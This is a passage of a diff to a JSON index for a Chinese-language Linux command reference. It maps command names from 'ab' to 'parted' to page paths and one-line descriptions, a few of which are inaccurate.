粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/p